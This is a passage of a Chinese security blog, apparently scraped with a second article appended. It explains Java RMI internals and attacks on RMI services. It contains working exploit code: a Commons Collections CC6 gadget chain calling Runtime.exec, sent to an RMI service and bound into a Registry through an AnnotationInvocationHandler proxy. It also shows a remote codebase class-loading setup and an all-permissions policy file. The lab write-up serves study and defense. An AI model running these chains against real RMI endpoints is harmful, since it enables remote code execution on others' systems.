CC6Test { public static Object getEvilClass() throws NoSuchFieldException, IllegalAccessException { // 获取包含执行类的 ChainedTransformer 对象 Transformer[] transformers = new Transformer[]{ // 将传入参数固定为 Runtime.class new ConstantTransformer(Runtime.class), new InvokerTransformer ("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer ("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer ("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // 新建一个 Map 对象,无关紧要,只是作为参数传入 Map<Object, Object> hashMap = new HashMap<>(); // 初始化利用链 LazyMap Map lazymap = LazyMap.decorate(hashMap, new ConstantTransformer(1)); // 初始化利用链 TiedMapEntry ,第二个参数为 key 值,先随便传一个 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "key"); // 初始化利用链 HashMap HashMap<Object, Object> map = new HashMap<>(); map.put(tiedMapEntry, "test"); // 删除 lazymap 对象中的 key 值 lazymap.remove("key"); // 反射修改 lazymap 对象的 factory 属性 Class<? extends Map> lazymapClass = lazymap.getClass(); Field factory = lazymapClass.getDeclaredField("factory"); factory.setAccessible(true); factory.set(lazymap, chainedTransformer); return map; } public static void main(String[] args) throws RemoteException, NotBoundException, NoSuchFieldException, IllegalAccessException { // 连接到服务器 localhost ,端口 1099 : Registry registry = LocateRegistry.getRegistry("localhost", 1099); // 查找名称为 "SayHello" 的服务并强制转型为 SayHelloInterface 类型: SayHelloInterface sayHello = (SayHelloInterface) registry.lookup("SayHello"); // 将构造好的 HashMap 对象作为参数传入 sayHello.eval(getEvilClass()); }} 先启动服务端,然后启动客户端,弹出计算器: 参数为 Object 类型就可以传递任意参数,那如果不是 Object 类型呢? 前面提到客户端调用服务方法时是直接与服务端进行通信的,而服务端使用 UnicastServerRef 的 dispatch 方法来处理客户端的请求。 在查找方法时,它用方法的 hash 值在 this.hashToMethod_Map 中查找。这个 hash 实际上是一个基于方法签名的 SHA1 hash 值。 如果说服务的参数不是 Object 类型,但是我们想上传恶意类的话,理论上可以伪造 hash ,这个 hash 在服务端是可以找到对应的方法的,但是实际传递的方法的参数还是恶意类。 在 mogwailabs 的 [PPT](https://github.com/mogwailabs/rmi-deserialization/blob/master/BSides Exploiting RMI Services.pdf) 中提出了以下 4 种方法: 通过网络代理,在流量层修改数据 自定义 “java.rmi” 包的代码,自行实现 字节码修改 使用 debugger 我们来实现一下使用 debugger 的攻击方式,也就是在调试时修改变量值。 调试时修改变量值现在将服务端的方法参数改为 String 类型: 客户端定义了一个 getEvilClass() 方法用来获取 CC6 攻击链最终的 HashMap 对象。 客户端在调用时先传入一个普通的字符串: 运行服务端,调试客户端,在 RemoteObjectInvocationHandler 的 invokeRemoteMethod 方法处下断点。 此时我们进入到 RemoteObjectInvocationHandler 的 invokeRemoteMethod 方法,这里的 method 表示要调用的方法,args 是一个 Object 数组,表示要传递的参数: 其中 args[0] 正是我们传递的字符串参数,我们将其改为恶意对象,可以在上图红框处右键 -> Set Value : 然后设置 args[0] = CC6Test.getEvilClass() 即可: 这样就成功修改了 args[0] 为恶意类,继续运行,可以看到弹出计算器: 因为调用的是本地的 RemoteObjectInvocationHandler 的 invokeRemoteMethod 方法,所以在参数传递到服务端之前就修改了它,要查找的方法又没变,最终得出的 hash 值在服务端又能找到对应的方法,所以造成了参数反序列化。 实际上,服务端调用 UnicastServerRef 的 dispatch 方法来处理客户端的请求,UnicastServerRef 的 dispatch 方法又调用 UnicastRef 的 unmarshalValue 方法来反序列化参数: 服务端实际反序列化参数的处理在 UnicastRef 的 unmarshalValue 方法中: 可以看到,除了基本类型之外,其他类型的参数都会在这里被反序列化,所以只要服务端提供的方法参数不是基本类型,理论上都可以用这么一种攻击方式。 总结这种方式虽然可行,但也存在一定的局限性: 反序列化攻击,要求服务端有可利用的反序列化链,比如 CC 依赖; 实际应用场景中,攻击者并不知道 RMI 服务端提供了哪些方法,方法的参数是什么类型,攻击者也许可以通过工具探测得到服务的名称,但还是无法利用。除非得到源码,当然在这种情况下,攻击者通常会优先选用其他攻击方式了。 动态类加载RMI 有一个重要的特性,就是动态类加载机制,当本地 ClassPath 中无法找到相应的类时,会在指定的 codebase 里加载 class。 若要开启动态类加载,服务端需要满足以下几个条件: 需要启动 RMISecurityManager 。Java SecurityManager 默认不允许远程类加载。 需要配置 java.security.policy 。 属性 java.rmi.server.useCodebaseOnly 的值必须为 false 。但是 JDK 6u45、7u21 之后,java.rmi.server.useCodebaseOnly 的默认值是 true 。当该值为 true 时,将禁用自动加载远程类文件,仅从 CLASSPATH 和当前虚拟机的 java.rmi.server.codebase 指定路径加载类文件,不再支持从 RMI 请求中获取 codebase 。增加了 RMI ClassLoader 的安全性。 我们来模拟攻击一下,由于客户端和服务端都在本地,故为了防止远程类与服务端在一起,我们将该实验分为三个项目: 第一个项目名为 remote-class ,这个项目中实现了一个简易的服务器,并且其中存放远程类,将来作为 codebase 使用; 第二个项目名为 java-rmi-server ,RMI 的服务端和注册中心所在的项目; 第三个项目名为 java-rmi-client ,RMI 客户端所在的项目。 注:本次实验代码基于 longofo 师傅的代码改编。仓库链接为:https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms 改编后的代码存放在:https://github.com/ChangeYourWay/RemoteRmiTest ,在 jdk8u71 环境中试验成功。 其中,要被加载的远程类名为 ExportObject ,我们先来确保客户端和服务端都是访问不到这个类的: 服务端并不存在 ExportObject 类,所以无法访问: 客户端自定义了一个 ExportObject 类,其中没有恶意代码。这是为了方便客户端使用这个类名(理论上可以直接将远程类复制到客户端,但是这会导致客户端创建对象时,恶意代码先在客户端中执行一遍): 真正的远程类在 remote-class 项目中: 客户端和 codebase 处的远程类控制序列化版本号一致,避免反序列化失败。 服务端代码: 1234567891011121314151617181920212223242526272829303132333435363738// RMIServer2.javapackage com.miaoji.javarmi;import java.rmi.RMISecurityManager;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.rmi.server.UnicastRemoteObject;public class RMIServer { public static void main(String[] args) { try { try { // 配置 java.security.policy System.setProperty("java.security.policy", RMIServer.class.getClassLoader().getResource("policyfile.txt").toString()); // 配置 Java SecurityManager System.setSecurityManager(new RMISecurityManager()); // 设置 java.rmi.server.useCodebaseOnly 为 false System.setProperty("java.rmi.server.useCodebaseOnly", "false"); } catch (Exception e) { e.printStackTrace(); } // 创建 Registry Registry registry = LocateRegistry.createRegistry(1099); // 实例化服务端远程对象 ServicesImpl obj = new ServicesImpl(); // 没有继承 UnicastRemoteObject 时需要使用静态方法 exportObject 处理 Services services = (Services) UnicastRemoteObject.exportObject(obj, 0); // 绑定远程对象到 Registry registry.rebind("Services", services); System.out.println("java RMI registry created. port on 1099..."); } catch (Exception e) { e.printStackTrace(); } }} 值得注意的是 java.security.policy 需要在 Java SecurityManager 之前配置,否则会报拒绝访问的错误: Services 接口的方法参数是 Message 类型,Message 是服务端自定义的类: 客户端代码: 123456789101112131415161718package com.miaoji.javarmi;import com.miaoji.remoteclass.ExportObject;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RMIClient { public static void main(String[] args) throws Exception { System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/"); Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); // 获取远程对象的引用 Services services = (Services) registry.lookup("Services"); ExportObject exportObject = new ExportObject(); exportObject.setMessage("hahaha"); services.sendMessage(exportObject); }} 由客户端设置好 codebase 然后传递给服务端。codebase 在客户端和服务端是流动共享的。 客户端的 ExportObject 类继承了服务端的原有类 Message ,这样才能顺利作为 Services 服务的 sendMessage 方法的参数传输,事实上,如果这里的方法参数是其他类型,比如 ArrayList 类型,那么同样可以让这个 ExportObject 继承 ArrayList 。 codebase 端代码: 1234567891011121314151617181920212223242526272829303132333435363738package com.miaoji.remoteclass;import com.sun.net.httpserver.HttpExchange;import com.sun.net.httpserver.HttpHandler;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.InputStream;import java.net.InetSocketAddress;public class HttpServer implements HttpHandler { public void handle(HttpExchange httpExchange) { try { System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI()); InputStream inputStream = HttpServer.class.getResourceAsStream(httpExchange.getRequestURI().getPath()); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); while (inputStream.available() > 0) { byteArrayOutputStream.write(inputStream.read()); } byte[] bytes = byteArrayOutputStream.toByteArray(); httpExchange.sendResponseHeaders(200, bytes.length); httpExchange.getResponseBody().write(bytes); httpExchange.close(); } catch (Exception e) { e.printStackTrace(); } } public static void main(String[] args) throws IOException { com.sun.net.httpserver.HttpServer httpServer = com.sun.net.httpserver.HttpServer.create(new InetSocketAddress(8000), 0); System.out.println("String HTTP Server on port: 8000"); httpServer.createContext("/", new HttpServer()); httpServer.setExecutor(null); httpServer.start(); }} 主要是开启一个 HTTP 服务器,监听 8000 端口。这段代码运行后是可以在公网访问到当前机器的 8000 端口的。它会设置当前项目的根路径为网站根路径: 确保 remote-class 中包含了远程类,先运行 codebase 端,再运行服务端,最后运行客户端,成功弹出计算器: 由于服务端和客户端并不能直接访问远程类,所以这个是服务端远程加载类的结果。 总结动态类加载的方式限制很多,需要服务器做安全策略文件配置,设置安全管理器,以及存在 Jdk 版本的限制,需要服务器手动设置 useCodebaseOnly 为 false 。除此之外,这种方式仍然需要知道 RMI 服务提供了哪些方法,方法的参数类型是什么。所以仍然比较鸡肋。 本地重写类大致就是如果 RMI 服务的方法参数是某个类,比如 A 类,那么我依然想利用 CC6 链,可以在本地重写 HashMap,让 HashMap 继承 A 类,然后将 CC6 最终得到的 HashMap 对象作为参数传入。 理论上可以在本地找到 HashMap 的类文件直接修改: 但是这样可能出现各种报错,或者是遇到一个类不能直接继承多个类的问题。 攻击 Registry 端考虑服务端和 Registry 端不在同一端的情况,前面分析过了,服务端调用 bind/rebind 方法绑定服务对象的时候是将该对象序列化发送到 Registry 端,Registry 端最终在 RegistryImpl_Skel 的 dispatch 方法中反序列化。那么如果 Server 端向 Registry 端输送一个恶意的对象,就可以实现反序列化攻击了。 考虑到 Server 端绑定对象时要求对象继承 Remote 类,我们创建一个继承了 Remote 类的动态代理即可,创建代理选择使用 AnnotationInvocationHandler 类。并将 getEvilClass() 返回的 HashMap 对象封装进去。AnnotationInvocationHandler 正是 CC1 链的入口类。 测试代码如下: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687package Server;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.remote.rmi.RMIServer;import java.lang.annotation.Target;import java.lang.reflect.*;import java.rmi.Naming;import java.rmi.RMISecurityManager;import java.rmi.Remote;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.util.HashMap;import java.util.Map;public class RemoteServer { public static HashMap getEvilClass() throws NoSuchFieldException, IllegalAccessException { // 获取包含执行类的 ChainedTransformer 对象 Transformer[] transformers = new Transformer[]{ // 将传入参数固定为 Runtime.class new ConstantTransformer(Runtime.class), new InvokerTransformer ("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer ("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer ("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // 新建一个 Map 对象,无关紧要,只是作为参数传入 Map<Object, Object> hashMap = new HashMap<>(); // 初始化利用链 LazyMap Map lazymap = LazyMap.decorate(hashMap, new ConstantTransformer(1)); // 初始化利用链 TiedMapEntry ,第二个参数为 key 值,先随便传一个 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "key"); // 初始化利用链 HashMap HashMap<Object, Object> map = new HashMap<>(); map.put(tiedMapEntry, "test"); // 删除 lazymap 对象中的 key 值 lazymap.remove("key"); // 反射修改 lazymap 对象的 factory 属性 Class<? extends Map> lazymapClass = lazymap.getClass(); Field factory = lazymapClass.getDeclaredField("factory"); factory.setAccessible(true); factory.set(lazymap, chainedTransformer); return map; } public static void main(String[] args) throws Exception { // 将 RMI 服务注册到 1099 端口 LocateRegistry.createRegistry(1099); Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = c.getDeclaredConstructors()[0]; constructor.setAccessible(true); HashMap map = getEvilClass(); HashMap map1 = new HashMap<>(); map1.put("a", map); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map1); Remote remote = (Remote) Proxy.newProxyInstance( RemoteServer.class.getClassLoader(), new Class[]{Remote.class}, invocationHandler); // Get the registry from a remote host Registry registry = LocateRegistry.getRegistry("localhost", 1099); // Bind the remote object in the registry registry.rebind("Evil", remote); }} 攻击 Client 端这部分场景比较少,如果说 Server 端和 Registry 端可控,那么只需要绑定一个恶意对象,那么客户端一旦远程加载了,就会反序列化这个对象并造成代码执行。 比如服务端定义一个恶意对象: 然后服务端绑定这个恶意对象。 客户端远程加载此对象并调用其 function 方法时就会造成命令执行: 也可以将命令写在静态代码块里面,不过那样会让服务端也执行一次命令。 除此之外,服务端也可以指定一个 codebase 让客户端去指定的地址加载恶意对象,从而触发客户端反序列化。 综合来看,攻击 Client 端这部分估计只有钓鱼的场景了。 分布式垃圾回收 DGC了解分布式垃圾回收RMI 子系统实现基于引用计数的“分布式垃圾回收”(DGC,Distributed Garbage Collection),以便为远程服务器对象提供自动内存管理设施。启动一个 RMI 服务,就会伴随着启动 DGC 服务端。 工作流程 引用计数: 当客户端获取远程对象的引用时,客户端向服务器发送一个“引用添加”消息,增加该远程对象的引用计数。 当客户端不再需要远程对象时,客户端向服务器发送一个“引用移除”消息,减少该远程对象的引用计数。 服务器根据引用计数判断该远程对象是否仍然被引用,如果引用计数为 0 ,则可以回收该对象。 租约机制: 为了防止客户端异常退出或网络分区导致引用计数永久不减的情况,RMI 引入了租约机制。 当客户端获取远程对象引用时,除了增加引用计数外,还会请求一个租约(Lease)。租约有一个固定的期限,通常是 10 分钟。 客户端需要在租约到期前续约,以维持对远程对象的引用。如果客户端没有续约,服务器会认为客户端不再需要该对象,并减少引用计数。 垃圾回收器(GC)线程: 服务器中运行一个 GC 线程,负责定期检查所有远程对象的引用计数和租约状态。 如果发现某个远程对象的引用计数为 0 且租约已过期,则回收该对象。 涉及的接口和方法RMI 定义了一个 java.rmi.dgc.DGC 接口,提供了两个方法 dirty 和 clean: 当客户机创建(序列化)远程引用时,会在服务器端 DGC 上调用 dirty() 方法,请求一个租约,表示远程对象的使用期限。如果客户端想续租,则需要再调用一次 dirty() 方法。 当客户机完成远程引用后,它会调用对应的 clean() 方法回收远程对象的引用。 DGC 接口有两个实现类,分别是 sun.rmi.transport.DGCImpl 以及 sun.rmi.transport.DGCImpl_Stub ,同时还定义了 sun.rmi.transport.DGCImpl_Skel 。 这个命名方式与之前的注册中心类似,实际上功能也是类似。正如 RegistryImpl_Skel 是注册中心自己保留的骨架(代理对象),而 RegistryImpl_Stub 是用来分发出去保留在远程客户端和服务端的存根,DGC 也一样,DGCImpl_Skel 是服务端保存的骨架,DGCImpl_Stub 则是保留在远程 Registry 端和客户端的存根。RegistryImpl_Skel 的 dispatch 方法用来处理 RMI 相关的请求,DGCImpl_Skel 的 dispatch 方法同样用于处理 DGC 相关的请求。 DGCImpl_Skel 的 dispatch 方法,依旧通过 Java 原生的序列化和反序列化来处理对象: RMI 原生反序列化链RMI 中的一些类可以用来触发反序列化,在 ysoserial 中就有利用了这些链子的 poc ,所以了解它们的工作流程对于理解 ysoserial 中的代码很有帮助。 UnicastRemoteObject 类java.rmi.server.UnicastRemoteObject 类通常是远程调用接口实现类的父类,如果不作为父类的话,就要直接使用其静态方法 exportObject 来创建动态代理并随机监听本机端口以提供服务。所以 UnicastRemoteObject 会经常被反序列化,调用其 readObject 方法。 我们来关注 UnicastRemoteObject 的 readObject 方法: 这里调用了 UnicastRemoteObject 的 reexport 方法,跟进 reexport 方法看看: 可以看到最终还是调用到 UnicastRemoteObject 的 exportObject 方法。在上一篇文章中分析过,这个方法会开启 JRMP 监听。 UnicastRef 类sun.rmi.server.UnicastRef 类实现了 Externalizable 接口,因此在其反序列化时,会调用 readExternal 方法来反序列化。 UnicastRef 的 readExternal 方法调用 LiveRef 的 read 方法来获取其 ref 属性的值: LiveRef 的 read 方法调用 DGCClient 的 registerRefs 方法: DGCClient 的 registerRefs 方法: var2 是 DGCClient 的内部类 EndpointEntry 的 lookup 方法的返回值,也是 DGCClient 的内部类 EndpointEntry 对象,所以这里调用 DGCClient$EndpointEntry#registerRefs 方法。 DGCClient$EndpointEntry#registerRefs 方法又继续调用 DGCClient$EndpointEntry#makeDirtyCall 方法: DGCClient$EndpointEntry#makeDirtyCall 方法调用其成员属性 dgc 的 dirty 方法: 调试起来发现其实是调用的 DGCImpl_Stub 的 dirty 方法: RemoteObject 类RemoteObject 是几乎所有 RMI 远程调用类的父类,它继承了 java.io.Serializable 。但 RemoteObject 是个抽象类,我们通常用到它的子类来进行反序列化,比如 ysoserial 使用 RemoteObjectInvocationHandler 代理类作为反序列化的入口点。 我们来关注 RemoteObject 的 readObject 方法: 这里会调用 ref 的 readExternal 方法,那么可以将成员变量 ref 赋值成一个 UnicastRef 对象。 由于成员变量 ref 被 transient 修饰,不能直接被序列化: 1transient protected RemoteRef ref; 所以在 RemoteObject 的序列化处理逻辑中是先获取 ref 的类名再单独序列化,反序列化时再构造内部引用类名并加载相应的类。 RemoteObject 的 writeObject 方法: 总结本文用来扩展针对 RMI 的攻击思路,大部分真正用到实践上的攻击还是针对 DGC 的攻击,在下一篇文章中我会详细分析 ysoserial 中针对 DGC 的攻击模块。 参考文章Java RMI 攻击由浅入深 Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)","categories":["Java 安全"]},{"title":"基础篇 - RMI 协议详解","path":"/2024/07/08/Java 安全/基础篇-RMI远程方法调用协议/","content":"RMI 入门案例及源码分析 RMI 协议介绍RMI(Remote Method Invocation,远程方法调用)是 Java 编程语言中用于实现分布式计算的一种技术。RMI 允许一个 JVM上的对象调用另一台 JVM 上的对象的方法,就像调用本地对象的方法一样,从而实现跨网络的远程调用。 RMI 入门案例先来实现一个最简单的 RMI :服务器会提供一个 sayHello 服务,这个服务有一个方法名为 function ,它的功能是将输入的字符串返回。 首先我们需要一个接口 SayHelloInterface ,这个接口将会被服务器和客户端共享,Java 的 RMI 规定此接口必须派生自 java.rmi.Remote ,并在每个方法声明抛出 RemoteException : 123456import java.rmi.Remote;import java.rmi.RemoteException;public interface SayHelloInterface extends Remote { String function(String input) throws RemoteException;} 服务器需要编写一个接口的实现类 SayHelloImpl ,这个实现类需要实现方法功能: 12345678import java.rmi.RemoteException;public class SayHelloImpl implements SayHelloInterface{ @Override public String function(String input) throws RemoteException { return input; }} 最后,服务端注册这个 RMI 服务,使其开放在公网上: 123456789101112131415import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.rmi.server.UnicastRemoteObject;public class Server { public static void main(String[] args) throws RemoteException { // 获取服务端代理对象 SayHelloInterface skeleton = (SayHelloInterface) UnicastRemoteObject.exportObject(new SayHelloImpl(), 0); // 创建注册中心,端口为 1099 Registry registry = LocateRegistry.createRegistry(1099); // 将服务端代理对象注册到注册表,服务名为 "SayHello" registry.rebind("SayHello", skeleton); }} 服务端代码至此就完成了。 接下来是客户端,要想实现远程调用,服务端和客户端需要共享一个接口,所以客户端要将服务端的 SayHelloInterface.java 从服务端复制过来: 123456import java.rmi.Remote;import java.rmi.RemoteException;public interface SayHelloInterface extends Remote { String function(String input) throws RemoteException;} 最后在客户端实现 RMI 调用: 1234567891011121314151617import java.rmi.NotBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RMIClientTest { public static void main(String[] args) throws RemoteException, NotBoundException { // 连接到服务器 localhost ,端口 1099 : Registry registry = LocateRegistry.getRegistry("localhost", 1099); // 查找名称为 "SayHello" 的服务并强制转型为 SayHelloInterface 类型: SayHelloInterface sayHello = (SayHelloInterface) registry.lookup("SayHello"); // 正常调用接口方法: String output = sayHello.function("Hello, RMI"); // 打印输出结果 System.out.println(output); }} 先运行服务器,再运行客户端。运行结果是在客户端控制台上输出:” Hello, RMI “ 。 除了上面的这种方式以外,RMI 还有另一种实现方式,即服务器在编写接口的实现类时,让这个实现类继承 java.rmi.server.UnicastRemoteObject 类,同时必须为这个实现类提供一个构造函数并且抛出 RemoteException 。那么 SayHelloImpl 实现类可以这样改: 123456789101112import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject;public class SayHelloImpl extends UnicastRemoteObject implements SayHelloInterface { protected SayHelloImpl() throws RemoteException { } @Override public String function(String input) throws RemoteException { return input; }} 此时在服务端只需要新建 SayHelloImpl 对象就会自动调用 UnicastRemoteObject 的 exportObject 方法,而不需要再手动调用,服务端 Server 类改成这样: 1234567891011121314import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class Server { public static void main(String[] args) throws RemoteException { // 获取服务端代理对象 SayHelloInterface skeleton = new SayHelloImpl(); // 将 RMI 服务注册到 1099 端口 Registry registry = LocateRegistry.createRegistry(1099); // 将服务端代理对象注册到注册表,服务名为 "SayHello" registry.rebind("SayHello", skeleton); }} 同样是可以正常运行的。 客户端只有接口,并没有实现类,客户端获得的接口方法返回值实际上是通过网络从服务器端获取的。因为 RMI 服务的默认端口是 1099 ,所以上面的实验也使用 1099 端口。 Java 的 RMI 严重依赖序列化和反序列化,而这种情况下可能会造成严重的安全漏洞,因为 Java 的序列化和反序列化不但涉及到数据,还涉及到二进制的字节码,即使使用白名单机制也很难保证 100% 排除恶意构造的字节码。因此,使用 RMI 时,双方必须是内网互相信任的机器,不要把 1099 端口暴露在公网上作为对外服务。 此外,Java 的 RMI 调用机制决定了双方必须是 Java 程序,其他语言很难调用 Java 的 RMI 。如果要使用不同语言进行 RPC 调用,可以选择更通用的协议,例如 gRPC 。 RMI 原理解析RMI 交互图(来自网图): 为了屏蔽网络通信的复杂性,RMI 引入了两个概念,分别是 Stubs(客户端存根) 以及 Skeletons(服务端骨架),当客户端(Client)试图调用一个在远端的 Object 时,实际调用的是客户端本地的一个代理类(Proxy),这个代理类就称为 Stub,而在调用远端(Server)的目标类之前,也会经过一个对应的远端代理类,就是 Skeleton,它从 Stub 中接收远程方法调用并传递给真实的目标类。Stubs 以及 Skeletons 的调用对于 RMI 服务的使用者来讲是隐藏的,我们无需主动的去调用相关的方法。但实际的客户端和服务端的网络通信是通过 Stub 和 Skeleton 来实现的。 RMI 动态类加载如果客户端在调用时,传递了一个可序列化对象,这个对象在服务端不存在,则在服务端会抛出 ClassNotFound 的异常,但是 RMI 支持动态类加载,如果设置了 java.rmi.server.codebase,则会尝试从其中的地址获取 .class 并加载及反序列化。 什么是 codebasecodebase 是用于指定 Java RMI(远程方法调用)应用程序中类的字节码位置的属性。这个属性告诉 RMI 服务器和客户端在哪里可以找到所需的类文件。设置 codebase 有助于确保客户端能够动态加载服务器上不存在的类。 如何开启 RMI 动态类加载一、设置 codebase有两种办法: 在代码中使用 System.setProperty 方法可以动态设置 codebase : 1System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:9999/"); 用命令行启动 Java 程序,设置 -Djava.rmi.server.codebase 参数: 1java -Djava.rmi.server.codebase="http://127.0.0.1:9999/" RMIServer 二、配置安全策略文件例如,policyfile.txt : 123grant { permission java.security.AllPermission;}; 这个策略文件授予了所有权限,这是最宽松的配置。 三、启动时指定安全策略文件需要设置 java.security.policy ,同样可以用代码和命令行两种方式。 在代码中使用 System.setProperty 方法可以动态设置 policy: 1System.setProperty("java.security.policy", RemoteServer.class.getClassLoader().getResource("policyfile.txt").toString()); 用命令行启动 Java 程序,设置 -Djava.security.policy 参数: 1java -Djava.security.policy=policyfile.txt -Djava.rmi.server.codebase="http://127.0.0.1:9999/" RemoteServer RMI 源码分析本次实验 JDK 版本为 8u71 。 远程对象导出 - UnicastRemoteObject#exportObject如果服务端的实现类继承了 UnicastRemoteObject ,那么在实例化获取服务端代理对象的时候,会调用 UnicastRemoteObject 的构造方法,无参构造调用有参构造,最终会调用 UnicastRemoteObject 的 exportObject 方法: 如果服务端的实现类没有继承 UnicastRemoteObject ,则需要手动调用 UnicastRemoteObject 的 exportObject 方法。那么这个 exportObject 方法到底实现了什么功能呢? 跟进 exportObject 方法: 跟进后发现它又调用了另一个 exportObject 方法,继续跟进: 这里调用了 sref 的 exportObject 方法,sref 是一个 UnicastServerRef 对象。 继续跟进 UnicastServerRef 的 exportObject 方法: 这其中使用 sun.rmi.server.Util#createProxy() 方法创建了一个代理对象,且最终返回的就是这个代理对象。 继续跟进 Util 的 createProxy() 方法: 可以看到,这里用 RemoteObjectInvocationHandler 创建了一个代理对象。 接下来回到 exportObject 方法: 然后会新建一个 Target 对象,这个 Target 对象中封装了返回的代理对象 var5 。之后调用 this.ref 的 exportObject 方法,并将这个 Target 对象传入。 this.ref 是一个 LiveRef 对象,我们跟进它的 exportObject 方法: 这里又调用 this.ep 的 exportObject 方法,当程序运行起来时,会发现 this.ep 实际上是一个 TCPEndpoint 对象: 于是跟进 TCPEndpoint 的 exportObject 方法: 发现它又调用 TCPTransport 的 exportObject 方法。 继续跟进 TCPTransport 的 exportObject 方法: TCPTransport 的 exportObject 方法其实干了两件事,一是调用它自己的 listen() 方法开启监听,二是调用它父类 Transport 的 exportObject 方法。 TCPTransport 的 listen() 方法: 123456789101112131415161718192021222324252627private void listen() throws RemoteException { assert Thread.holdsLock(this); TCPEndpoint var1 = this.getEndpoint(); int var2 = var1.getPort(); if (this.server == null) { if (tcpLog.isLoggable(Log.BRIEF)) { tcpLog.log(Log.BRIEF, "(port " + var2 + ") create server socket"); } try { this.server = var1.newServerSocket(); Thread var3 = (Thread)AccessController.doPrivileged(new NewThreadAction(new AcceptLoop(this.server), "TCP Accept-" + var2, true)); var3.start(); } catch (BindException var4) { throw new ExportException("Port already in use: " + var2, var4); } catch (IOException var5) { throw new ExportException("Listen failed on port: " + var2, var5); } } else { SecurityManager var6 = System.getSecurityManager(); if (var6 != null) { var6.checkListen(var2); } }} 这个方法实现了一个用于监听 TCP 连接的功能。它首先检查当前线程是否持有对象锁,并获取端点的端口号。如果服务器套接字尚未创建,它会创建一个新的服务器套接字并启动一个新的线程进行接受循环(AcceptLoop),以处理传入连接;如果端口已被占用,则抛出 BindException ,否则抛出 IOException 。如果服务器套接字已经存在,则检查当前安全管理器并验证监听权限。 Transport 的 exportObject 方法: 1234public void exportObject(Target var1) throws RemoteException { var1.setExportedTransport(this); ObjectTable.putTarget(var1);} 这里调用了两个方法,其中 var1.setExportedTransport 只是做了一个简单的赋值: 123456void setExportedTransport(Transport var1) { if (this.exportedTransport == null) { this.exportedTransport = var1; }} ObjectTable 的 putTarget 方法则是将一个远程对象(目标对象 Target )添加到对象表和实现表中,以便进行远程方法调用和垃圾回收管理: 1234567891011121314151617181920212223242526static void putTarget(Target var0) throws ExportException { ObjectEndpoint var1 = var0.getObjectEndpoint(); WeakRef var2 = var0.getWeakImpl(); if (DGCImpl.dgcLog.isLoggable(Log.VERBOSE)) { DGCImpl.dgcLog.log(Log.VERBOSE, "add object " + var1); } synchronized(tableLock) { if (var0.getImpl() != null) { if (objTable.containsKey(var1)) { throw new ExportException("internal error: ObjID already in use"); } if (implTable.containsKey(var2)) { throw new ExportException("object already exported"); } objTable.put(var1, var0); implTable.put(var2, var0); if (!var0.isPermanent()) { incrementKeepAliveCount(); } } }} 总之,ObjectTable 的 putTarget 方法负责管理远程对象的导出和注册,以支持远程调用,并确保对象不被重复导出或使用相同的对象标识符。 那么总结一下:UnicastRemoteObject 的 exportObject 方法经过一系列调用后最终开启了监听(默认参数是 0 ,表示系统将选择一个空闲的端口来进行监听,而不是指定一个固定的端口),以及将传入的目标对象导出到对象表和实现表,并返回一个代理对象。 调用栈总结123456789UnicastRemoteObject#exportObject(Remote, UnicastServerRef)UnicastServerRef#exportObject(Remote, Object, boolean)\t-> Util#createProxy(Class<?>, RemoteRef, boolean) // 创建代理对象\t-> LiveRef#exportObject(Target) TCPEndpoint#exportObject(Target) TCPTransport#exportObject(Target) -> TCPTransport#listen()\t// 开启监听 -> Transport#exportObject(Target) ObjectTable#putTarget(Target)\t// 远程对象导出 动态代理创建 - RemoteObjectInvocationHandler#invoke前面 Util.createProxy() 方法在创建代理对象的时候就用到了 RemoteObjectInvocationHandler 这个类,那么当代理对象的任意方法被调用,RemoteObjectInvocationHandler 的 invoke 方法就会被调用。 RemoteObjectInvocationHandler 的 invoke 方法: 如果代理对象调用的方法是从 Object 类继承的方法,那么将会调用 invokeObjectMethod 方法;如果方法名是 finalize 且参数数量为 0,并且 allowFinalizeInvocation 标志为 false ,那么返回 null,表示忽略 finalize 方法的调用;对于其他方法,则调用 invokeRemoteMethod 方法来处理。 接着来看 RemoteObjectInvocationHandler 的 invokeRemoteMethod 方法: 12345678910111213141516171819202122232425262728293031323334private Object invokeRemoteMethod(Object proxy, Method method, Object[] args) throws Exception{ try { if (!(proxy instanceof Remote)) { throw new IllegalArgumentException( "proxy not Remote instance"); } // 实际处理逻辑 return ref.invoke((Remote) proxy, method, args, getMethodHash(method)); } catch (Exception e) { if (!(e instanceof RuntimeException)) { Class<?> cl = proxy.getClass(); try { method = 